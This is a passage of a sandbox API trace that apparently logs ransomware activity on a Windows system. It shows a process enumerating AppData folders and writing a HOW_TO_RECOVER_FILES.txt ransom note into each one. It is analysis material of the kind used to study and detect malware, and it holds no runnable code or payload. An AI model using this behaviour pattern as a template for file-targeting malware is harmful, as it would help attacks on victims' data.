ftLastWriteTime.dwLowDateTime=0x17d2dc32, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsApps", cAlternateFileName="WINDOW~2")) returned 1 [0156.454] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0156.454] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0156.454] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec480) returned 1 [0156.454] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec440) returned 1 [0156.454] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ebb10) returned 1 [0156.454] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\InputPersonalization", nBufferLength=0x105, lpBuffer=0x202eb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\InputPersonalization", lpFilePart=0x0) returned 0x3d [0156.454] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\InputPersonalization\\*", lpFindFileData=0x202eb830 | out: lpFindFileData=0x202eb830*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6dc3522, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa27e7c13, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xa27e7c13, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0156.455] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202eb7f0 | out: lpFindFileData=0x202eb7f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6dc3522, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa27e7c13, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xa27e7c13, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0156.455] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202eb7f0 | out: lpFindFileData=0x202eb7f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5fc49d4, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xc3b53c8a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5fc49d4, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TrainedDataStore", cAlternateFileName="TRAINE~1")) returned 1 [0156.455] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202eb7f0 | out: lpFindFileData=0x202eb7f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5fc49d4, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xc3b53c8a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5fc49d4, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TrainedDataStore", cAlternateFileName="TRAINE~1")) returned 0 [0156.455] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0156.455] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202eba50) returned 1 [0156.455] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202eba10) returned 1 [0156.455] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ebb10) returned 1 [0156.455] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\InputPersonalization", nBufferLength=0x105, lpBuffer=0x202eb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\InputPersonalization", lpFilePart=0x0) returned 0x3d [0156.455] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\InputPersonalization\\*", lpFindFileData=0x202eb830 | out: lpFindFileData=0x202eb830*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6dc3522, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa27e7c13, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xa27e7c13, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0156.456] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202eb7f0 | out: lpFindFileData=0x202eb7f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6dc3522, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa27e7c13, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xa27e7c13, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0156.456] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202eb7f0 | out: lpFindFileData=0x202eb7f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5fc49d4, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xc3b53c8a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5fc49d4, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TrainedDataStore", cAlternateFileName="TRAINE~1")) returned 1 [0156.456] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202eb7f0 | out: lpFindFileData=0x202eb7f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0156.456] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0156.456] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202eba50) returned 1 [0156.456] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202eba10) returned 1 [0156.456] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202eb0e0) returned 1 [0156.456] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\InputPersonalization\\TrainedDataStore", nBufferLength=0x105, lpBuffer=0x202eab80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\InputPersonalization\\TrainedDataStore", lpFilePart=0x0) returned 0x4e [0156.456] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\InputPersonalization\\TrainedDataStore\\*", lpFindFileData=0x202eae00 | out: lpFindFileData=0x202eae00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5fc49d4, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xc3b53c8a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5fc49d4, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0156.457] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202eadc0 | out: lpFindFileData=0x202eadc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5fc49d4, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xc3b53c8a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5fc49d4, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0156.457] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202eadc0 | out: lpFindFileData=0x202eadc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5fc49d4, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xc3b53c8a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5fc49d4, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0156.457] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0156.457] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202eb020) returned 1 [0156.457] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202eafe0) returned 1 [0156.457] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202eb0e0) returned 1 [0156.457] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\InputPersonalization\\TrainedDataStore", nBufferLength=0x105, lpBuffer=0x202eab80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\InputPersonalization\\TrainedDataStore", lpFilePart=0x0) returned 0x4e [0156.457] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\InputPersonalization\\TrainedDataStore\\*", lpFindFileData=0x202eae00 | out: lpFindFileData=0x202eae00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5fc49d4, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xc3b53c8a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5fc49d4, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0156.457] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202eadc0 | out: lpFindFileData=0x202eadc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5fc49d4, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xc3b53c8a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5fc49d4, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0156.458] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202eadc0 | out: lpFindFileData=0x202eadc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5fc49d4, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xc3b53c8a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5fc49d4, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0156.458] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0156.458] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202eb020) returned 1 [0156.458] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202eafe0) returned 1 [0156.458] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\InputPersonalization\\TrainedDataStore\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x202eab30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\InputPersonalization\\TrainedDataStore\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x67 [0156.458] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202eb050) returned 1 [0156.458] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\InputPersonalization\\TrainedDataStore\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\inputpersonalization\\traineddatastore\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x80c [0156.458] GetFileType (hFile=0x80c) returned 0x1 [0156.458] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202eafc0) returned 1 [0156.458] GetFileType (hFile=0x80c) returned 0x1 [0156.459] WriteFile (in: hFile=0x80c, lpBuffer=0x33d8168*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x202eb118, lpOverlapped=0x0 | out: lpBuffer=0x33d8168*, lpNumberOfBytesWritten=0x202eb118*=0x5d0, lpOverlapped=0x0) returned 1 [0156.460] CloseHandle (hObject=0x80c) returned 1 [0156.460] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\InputPersonalization\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x202eb560, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\InputPersonalization\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x56 [0156.460] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202eba80) returned 1 [0156.460] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\InputPersonalization\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\inputpersonalization\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x80c [0156.460] GetFileType (hFile=0x80c) returned 0x1 [0156.460] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202eb9f0) returned 1 [0156.460] GetFileType (hFile=0x80c) returned 0x1 [0156.461] WriteFile (in: hFile=0x80c, lpBuffer=0x33dba10*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x202ebb48, lpOverlapped=0x0 | out: lpBuffer=0x33dba10*, lpNumberOfBytesWritten=0x202ebb48*=0x5d0, lpOverlapped=0x0) returned 1 [0156.462] CloseHandle (hObject=0x80c) returned 1 [0156.462] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x202ebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x41 [0156.462] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec4b0) returned 1 [0156.462] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x80c [0156.466] GetFileType (hFile=0x80c) returned 0x1 [0156.466] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec420) returned 1 [0156.466] GetFileType (hFile=0x80c) returned 0x1 [0156.467] WriteFile (in: hFile=0x80c, lpBuffer=0x33df280*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x202ec578, lpOverlapped=0x0 | out: lpBuffer=0x33df280*, lpNumberOfBytesWritten=0x202ec578*=0x5d0, lpOverlapped=0x0) returned 1 [0156.468] CloseHandle (hObject=0x80c) returned 1 [0156.468] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec540) returned 1 [0156.468] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Temp", nBufferLength=0x105, lpBuffer=0x202ebfe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Temp", lpFilePart=0x0) returned 0x23 [0156.468] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Temp\\*", lpFindFileData=0x202ec260 | out: lpFindFileData=0x202ec260*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc3c8b6f3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d2dc32, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0156.469] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc3c8b6f3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d2dc32, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0156.469] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc3c8b6f3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d2dc32, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0156.469] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0156.469] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec480) returned 1 [0156.469] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec440) returned 1 [0156.469] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec540) returned 1 [0156.469] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Temp", nBufferLength=0x105, lpBuffer=0x202ebfe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Temp", lpFilePart=0x0) returned 0x23 [0156.469] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Temp\\*", lpFindFileData=0x202ec260 | out: lpFindFileData=0x202ec260*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc3c8b6f3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d2dc32, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0156.469] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc3c8b6f3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d2dc32, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0156.470] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc3c8b6f3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d2dc32, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0156.470] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0156.470] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec480) returned 1 [0156.470] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec440) returned 1 [0156.470] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Temp\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x202ebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Temp\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x3c [0156.470] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec4b0) returned 1 [0156.470] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Temp\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\default\\appdata\\local\\temp\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x80c [0156.470] GetFileType (hFile=0x80c) returned 0x1 [0156.470] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec420) returned 1 [0156.470] GetFileType (hFile=0x80c) returned 0x1 [0156.823] WriteFile (in: hFile=0x80c, lpBuffer=0x34779f0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x202ec578, lpOverlapped=0x0 | out: lpBuffer=0x34779f0*, lpNumberOfBytesWritten=0x202ec578*=0x5d0, lpOverlapped=0x0) returned 1 [0156.824] CloseHandle (hObject=0x80c) returned 1 [0156.824] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec540) returned 1 [0156.824] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Temporary Internet Files", nBufferLength=0x105, lpBuffer=0x202ebfe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Temporary Internet Files", lpFilePart=0x0) returned 0x37 [0156.824] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Temporary Internet Files\\*", lpFindFileData=0x202ec260 | out: lpFindFileData=0x202ec260*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0156.824] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec4f0) returned 1 [0156.863] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Temporary Internet Files\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x202ebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Temporary Internet Files\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x50 [0156.863] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec4b0) returned 1 [0156.863] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Temporary Internet Files\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\default\\appdata\\local\\temporary internet files\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x80c [0156.863] GetFileType (hFile=0x80c) returned 0x1 [0156.863] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec420) returned 1 [0156.863] GetFileType (hFile=0x80c) returned 0x1 [0156.864] WriteFile (in: hFile=0x80c, lpBuffer=0x34906c0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x202ec578, lpOverlapped=0x0 | out: lpBuffer=0x34906c0*, lpNumberOfBytesWritten=0x202ec578*=0x5d0, lpOverlapped=0x0) returned 1 [0156.865] CloseHandle (hObject=0x80c) returned 1 [0156.865] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x202ec9c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x37 [0156.865] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ecee0) returned 1 [0156.865] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\default\\appdata\\local\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x80c [0156.866] GetFileType (hFile=0x80c) returned 0x1 [0156.866] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ece50) returned 1 [0156.866] GetFileType (hFile=0x80c) returned 0x1 [0156.867] WriteFile (in: hFile=0x80c, lpBuffer=0x3493ee8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x202ecfa8, lpOverlapped=0x0 | out: lpBuffer=0x3493ee8*, lpNumberOfBytesWritten=0x202ecfa8*=0x5d0, lpOverlapped=0x0) returned 1 [0156.867] CloseHandle (hObject=0x80c) returned 1 [0156.868] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ecf70) returned 1 [0156.868] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming", nBufferLength=0x105, lpBuffer=0x202eca10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming", lpFilePart=0x0) returned 0x20 [0156.868] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\*", lpFindFileData=0x202ecc90 | out: lpFindFileData=0x202ecc90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc3c8c01f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d2dc32, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0156.868] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc3c8c01f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d2dc32, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 